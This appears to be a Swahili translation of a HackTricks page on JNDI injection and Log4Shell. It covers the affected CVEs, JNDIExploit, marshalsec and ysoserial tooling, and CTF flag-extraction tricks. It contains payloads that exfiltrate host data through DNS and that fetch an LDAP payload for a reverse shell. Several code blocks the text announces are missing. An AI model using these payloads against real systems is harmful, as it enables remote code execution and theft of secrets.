Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs maarufu ni pamoja na CORBA COS, Java RMI Registry, na LDAP.
* **Reference Addresses**: Inabainisha eneo la kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka kwa anwani iliyoainishwa.
* **Remote Factory**: Inarejelea darasa la kiwanda cha mbali. Wakati inaccess, darasa linapakuliwa na kuanzishwa kutoka eneo la mbali.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa default kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama pia hupunguza kile kinachoweza kupakuliwa.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa default kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa `true`, utekelezaji wa msimbo wa mbali unaweza kufanyika bila uangalizi wa Meneja wa Usalama.
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mekanism za usalama zilizojengwa, na inaweza kuruhusu upatikanaji wa vitu kutoka chanzo chochote. Hii inatoa hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kupuuzia, na kusababisha upakiaji wa vitu vya Java vya kawaida au kutumia vipengele vilivyopo vya programu (gadgets) ili kutekeleza msimbo mbaya.
Licha ya ulinzi, udhaifu bado upo, hasa kutokana na ukosefu wa kinga dhidi ya upakiaji wa JNDI kutoka vyanzo visivyoaminika na uwezekano wa kupita ulinzi uliopo.
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuashiria nyingine katika utafutaji na itapatikana: `ctx.lookup("<attacker-controlled-url>")` na hiyo ndiyo itakayotumiwa na mshambuliaji kupakia vitu vya kawaida kutoka mfumo unaodhibitiwa na yeye.
* Ruhusa za kusoma faili, ama kwa ujumla (`permission java.io.FilePermission "<<ALLFILES>>", "read";`) au kwa saraka maalum ambapo faili mbaya zinaweza kuwekwa.
Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, upakiaji wa darasa la kawaida umewekwa mipaka kwa default. Ili kutumia RMI vibaya, mtu anahitaji kawaida kupita Meneja wa Usalama, jambo ambalo pia lina umuhimu katika CORBA.
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` ili kupata kitu cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\
**Mshambuliaji anaweza kuharibu rekodi za LDAP kwa kuingiza payloads** juu yao ambazo zitatekelezwa katika mifumo inayozikusanya (ni muhimu sana **kuharibu mashine kumi** ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kutumia hii vibaya ingekuwa kufanya **shambulio la MitM katika utafutaji wa LDAP** kwa mfano.
Ikiwa `trustURLCodebase` ni `true`, mshambuliaji anaweza kutoa madarasa yake mwenyewe katika codebase ikiwa sivyo, atahitaji kutumia gadgets katika classpath.
Udhaifu umeanzishwa katika Log4j kwa sababu inasaidia [**sintaks maalum**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) katika mfumo wa `${prefix:name}` ambapo `prefix` ni moja ya nambari tofauti za [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) ambapo `name` inapaswa kutathminiwa. Kwa mfano, `${java:version}` ni toleo la sasa linalotumika la Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ilianzisha kipengele cha `jndi` Lookup. Kipengele hiki kinaruhusu upatikanaji wa mabadiliko kupitia JNDI. Kawaida, funguo huwekwa kiotomatiki na `java:comp/env/`. Hata hivyo, ikiwa funguo yenyewe ina **":"**, prefix hii ya default haitumiki.
Ikiwa **: ipo** katika funguo, kama katika `${jndi:ldap://example.com/a}` hakuna **prefix** na **seva ya LDAP inatafutwa kwa kitu**. Na hizi Lookups zinaweza kutumika katika usanidi wa Log4j na pia wakati mistari inarekodiwa.
Kwa hivyo, jambo pekee linalohitajika kupata RCE ni **toleo hatari la Log4j linaloshughulikia taarifa zinazodhibitiwa na mtumiaji**. Na kwa sababu hii ni maktaba inayotumiwa sana na programu za Java kurekodi taarifa (programu zinazokabiliwa na mtandao zikiwemo) ilikuwa ya kawaida kuwa na log4j ikirekodi kwa mfano vichwa vya HTTP vilivyopokelewa kama User-Agent. Hata hivyo, log4j **haitumiki kurekodi tu taarifa za HTTP bali pia input yoyote** na data ambayo mendelevu alionyesha.
Udhaifu huu ni kasoro ya **deserialization isiyoaminika** katika sehemu ya `log4j-core`, inayoathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu **utekelezaji wa msimbo wa mbali (RCE)**, ikiruhusu washambuliaji kuchukua mifumo. Tatizo hili liliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na linaathiri mifumo mbalimbali ya Apache. Marekebisho ya awali katika toleo 2.15.0 hayakuwa kamili. Sheria za Sigma za ulinzi zinapatikana ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Kwanza ilikadiriawa kuwa ya chini lakini baadaye ilipandishwa kuwa hatari, CVE hii ni kasoro ya **Denial of Service (DoS)** inayotokana na marekebisho yasiyokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa default, ikiruhusu washambuliaji kusababisha shambulio la DoS kupitia payloads zilizoundwa. [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) inaonyesha njia ya kupita. Tatizo hili limeondolewa katika toleo 2.16.0 na 2.12.2 kwa kuondoa mifumo ya utafutaji wa ujumbe na kuzima JNDI kwa default.
Inayoathiri **Log4j 1.x versions** katika usanidi usio wa default ukitumia `JMSAppender`, CVE hii ni kasoro ya deserialization isiyoaminika. Hakuna marekebisho yanayopatikana kwa tawi la 1.x, ambalo limefikia mwisho wa maisha, na inashauriwa kuboresha hadi `log4j-core 2.17.0`.
Udhaifu huu unaathiri **Logback logging framework**, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo huu uligundulika kuwa na udhaifu, na toleo jipya (1.3.0-alpha11 na 1.2.9) zimeachiliwa ili kushughulikia tatizo hili.
Log4j 2.16.0 ina kasoro ya DoS, ikichochea kutolewa kwa `log4j 2.17.0` ili kurekebisha CVE. Maelezo zaidi yanaweza kupatikana katika ripoti ya BleepingComputer [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
Inayoathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi ya log4j. Inahusisha uwezekano wa utekelezaji wa msimbo wa kawaida kupitia JDBCAppender iliyowekwa. Maelezo zaidi yanapatikana katika [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Udhaifu huu ni rahisi sana kugundua ikiwa hauna ulinzi kwa sababu utatuma angalau **ombio la DNS** kwa anwani unayoashiria katika payload yako. Kwa hivyo, payloads kama:
Kumbuka kuwa **hata kama ombio la DNS linapokelewa hiyo haimaanishi programu hiyo inaweza kutumika vibaya** (au hata kuwa na udhaifu), utahitaji kujaribu kuishambulia.
au kama `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** na ikiwa **ombio la DNS linapokelewa na thamani ya mabadiliko ya env**, unajua programu hiyo ina udhaifu.
Mikondo inayotumia toleo la JDK zaidi ya 6u141, 7u131, au 8u121 imehifadhiwa dhidi ya shambulio la kupakia darasa la LDAP. Hii ni kutokana na kuzima kwa chaguo la `com.sun.jndi.ldap.object.trustURLCodebase`, ambalo linazuia JNDI kupakia msingi wa msimbo wa mbali kupitia LDAP. Hata hivyo, ni muhimu kutambua kwamba toleo hizi **hazihifadhiwi dhidi ya shambulio la deserialization**.
Kwa washambuliaji wanaolenga kutumia toleo hizi za JDK za juu, ni muhimu kutumia **gadget iliyoaminika** ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumika kwa kusudi hili. Kinyume chake, kutumia toleo la chini la JDK ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza madarasa yasiyo na mipaka.
Kwa **maelezo zaidi** (_kama vile mipaka kwenye RMI na CORBA vectors_) **angalia sehemu ya awali ya JNDI Naming Reference** au [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
Tumia zana [**marshalsec**](https://github.com/mbechler/marshalsec) (toleo la jar linapatikana [**hapa**](https://github.com/RandomRobbieBF/marshalsec-jar)). Njia hii inaanzisha seva ya rufaa ya LDAP ili kuelekeza muunganisho kwenye seva ya HTTP ya pili ambapo exploit itakuwa ikihifadhiwa:
Kusanya faili la Java kuwa faili la darasa kwa kutumia: `javac Exploit.java -source 8 -target 8`. Kisha, anzisha **HTTP server** katika saraka inayoshikilia faili la darasa kwa kutumia: `python3 -m http.server`. Hakikisha **marshalsec LDAP server** inarejelea HTTP server hii.
**Kumbuka:** Ukatili huu unategemea usanidi wa Java kuruhusu upakiaji wa msingi wa msimbo wa mbali kupitia LDAP. Ikiwa hii hairuhusiwi, fikiria kutumia darasa lililoaminika kwa utekelezaji wa msimbo wa kiholela.
Kumbuka kwamba kwa sababu fulani mwandishi aliondoa mradi huu kutoka github baada ya kugunduliwa kwa log4shell. Unaweza kupata toleo lililohifadhiwa katika [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) lakini ikiwa unataka kuheshimu uamuzi wa mwandishi tumia njia tofauti ya kutumia hii vuln.
Zaidi ya hayo, huwezi kupata msimbo wa chanzo katika mashine ya wayback, hivyo changanua msimbo wa chanzo, au tekeleza jar ukijua kwamba hujui unachotekeleza.
Kwa mfano huu unaweza tu kukimbia **seva ya wavuti iliyo hatarini kwa log4shell** katika bandari 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_katika README utaona jinsi ya kuikimbia_). Programu hii iliyo hatarini inarekodi kwa toleo hatarishi la log4shell yaliyomo katika kichwa cha ombi la HTTP _X-Api-Version_.
Baada ya kusoma msimbo kwa dakika chache tu, katika _com.feihong.ldap.LdapServer_ na _com.feihong.ldap.HTTPServer_ unaweza kuona jinsi **seva za LDAP na HTTP zinavyoundwa**. Seva ya LDAP itakielewa kile payload kinachohitajika kutolewa na itamwelekeza mwathirika kwenye seva ya HTTP, ambayo itatoa exploit.\
Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambazo zinaweza kutumika kutekeleza kitendo kinachotakiwa (kwa uwezekano kutekeleza msimbo wa kiholela). Na katika _com.feihong.ldap.template_ unaweza kuona madarasa tofauti ya template ambayo yatakuwa **yanazalisha exploits**.
**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguzi nyingine za unyakuzi. Aidha, ikiwa unahitaji, unaweza kubadilisha bandari za seva za LDAP na HTTP.**
Kwa njia sawa na unyakuzi wa awali, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kutekeleza udhaifu huu.\
Unaweza kuunda URL za kutuma kwa mwathirika ukikimbia:
_Shambulio hili linalotumia kitu cha java kilichoundwa kwa kawaida litafanya kazi katika maabara kama **THM solar room**. Hata hivyo, hii kwa ujumla haitafanya kazi (kwa sababu kwa kawaida Java haijasanidiwa kupakia msingi wa msimbo wa mbali kwa kutumia LDAP) nadhani kwa sababu haipati faida kutoka kwa darasa lililoaminika ili kutekeleza msimbo wa kiholela._
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) ni chombo kingine cha kuunda **viungo vya JNDI vinavyofanya kazi** na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP na seva ya HTTP.\
Chaguo hili ni muhimu sana kushambulia **matoleo ya Java yaliyo sanidiwa kuamini tu madarasa yaliyotajwa na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kuunda **mifano ya madarasa yaliyoaminika** ambayo yanaweza kutumika kama vifaa vya **kutekeleza msimbo wa kiholela** (_darasa lililoaminika linalotumiwa na ysoserial lazima litumike na programu ya java ya mwathirika ili shambulio lifanye kazi_).
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI:
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuunda **viungo vya JNDI** ambavyo shambulio litakuwa likisubiri muunganisho kutoka kwa mashine zenye udhaifu. Unaweza kuhudumia **shambulio tofauti ambazo zinaweza kuundwa kiotomatiki** na JNDI-Exploit-Kit au hata **payloads zako za deserialization** (zilizoundwa na wewe au ysoserial).
Sasa unaweza kwa urahisi kutumia kiungo cha JNDI kilichozalishwa kutekeleza udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**
Katika [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezwa vizuri jinsi inavyoweza kuwa **inawezekana****kudhulumu** baadhi ya vipengele vya **Log4J**.
> Kuanzia toleo 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Matafutio katika usanidi bado yanafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Matafutio ya JNDI katika usanidi sasa yanahitaji kuwezeshwa wazi.
> Kuanzia toleo 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **ni maandiko pekee ya kutafuta katika usanidi yanayopanuliwa kwa njia ya kurudiarudia**; katika matumizi mengine yoyote, tu tafutio la kiwango cha juu linatatuliwa, na matafutio yoyote yaliyo ndani hayatatuliwi.
Hii ina maana kwamba kwa chaguo-msingi unaweza **kusahau kutumia yoyote `jndi` exploit**. Zaidi ya hayo, ili kufanya **matafutio ya kurudiarudia** unahitaji kuwa na hizo zimewekwa.
Katika [hii CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) mshambuliaji alidhibiti thamani ya `${sys:cmd}` na alihitaji kutoa bendera kutoka kwa mabadiliko ya mazingira.\
Kama inavyoonekana kwenye ukurasa huu katika [**payloads za awali**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) kuna njia tofauti za kufikia mabadiliko ya mazingira, kama vile: **`${env:FLAG}`**. Katika CTF hii haikuwa na manufaa lakini inaweza kuwa na manufaa katika hali nyingine za maisha halisi.
Katika CTF, huwezi **kufikia stderr** ya programu ya java inayotumia log4J, lakini **makosa ya Log4J yatumwa kwa stdout**, ambayo yalichapishwa katika programu ya python. Hii ilimaanisha kwamba kwa kuchochea kosa tunaweza kufikia maudhui. Kosa la kutoa bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
Ili tu kutaja, unaweza pia kuingiza [**patterns za mabadiliko**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) mpya na kuchochea makosa ambayo yataandikwa kwenye `stdout`. Kwa mfano:
Hii haikupatikana kuwa na manufaa kutoa tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukufanikiwa kabla ya pattern ya mabadiliko, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
Hata hivyo, inawezekana kutumia **patterns za mabadiliko zinazounga mkono regexes** kutoa taarifa kutoka kwa utafutaji kwa kutumia regexes na kutumia **binary search** au tabia za **muda**.
Pattern ya mabadiliko **`%replace`** inaweza kutumika **kuchukua nafasi** ya **maudhui** kutoka kwa **nyuzi** hata kwa kutumia **regexes**. Inafanya kazi kama ifuatavyo: `replace{pattern}{regex}{substitution}`\
Kwa kutumia tabia hii unaweza kufanya kuchukua nafasi **kuanzishe kosa ikiwa regex ilikubaliana** na chochote ndani ya nyuzi (na hakuna kosa ikiwa haikupatikana) kama ifuatavyo:
Kama ilivyotajwa katika sehemu ya awali, **`%replace`** inasaidia **regexes**. Hivyo inawezekana kutumia payload kutoka kwenye [**ReDoS page**](../regular-expression-denial-of-service-redos.md) kusababisha **timeout** ikiwa bendera imepatikana.\
Katika [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS ilitumia **shambulio la amplification** kusababisha tofauti ya muda katika majibu:
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima inabadilishwa na `#` 29 (nilitumia tabia hii kwa sababu huenda isiwe sehemu ya bendera). **Kila moja ya `#` 29 inayotokana nayo inabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, na kusababisha jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
> Kubadilisha `#` nyingi kama hizo kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha msimbo wa hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapata msimbo wa hali usio 500)
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
